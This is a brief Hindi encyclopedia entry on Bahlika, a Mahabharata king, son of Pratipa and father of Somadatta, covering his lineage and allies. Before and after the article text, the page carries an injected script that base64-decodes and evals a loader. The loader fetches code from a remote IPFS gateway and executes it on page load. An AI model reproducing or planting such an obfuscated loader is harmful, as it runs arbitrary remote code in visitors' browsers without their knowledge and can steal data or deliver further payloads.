बाह्लीक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
बाह्लीक प्रतीप[१] के तीन पुत्रों में से एक तथा सोमदत्त आदि सात पुत्रों का पिता था।[२] यह बह्लीक का राजा था।
- बाह्लीक कुरुओं में अग्रणी था।[३]
- मगध के राजा जरासंध ने बाह्लीक को मथुरा के दक्षिण द्वार पर तथा गोमंत के दक्षिण में नियुक्त किया था।
- बाह्लीक के पुत्रों ने युधिष्ठिर के राजसूय यज्ञ में तथा महाभारत के युद्ध के समय दुर्योधन की सेना में सक्रिय भाग लिया था।
- इनकी बहनें रोहिणी तथा पौरवी वसुदेव को ब्याही गई थीं।[४]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>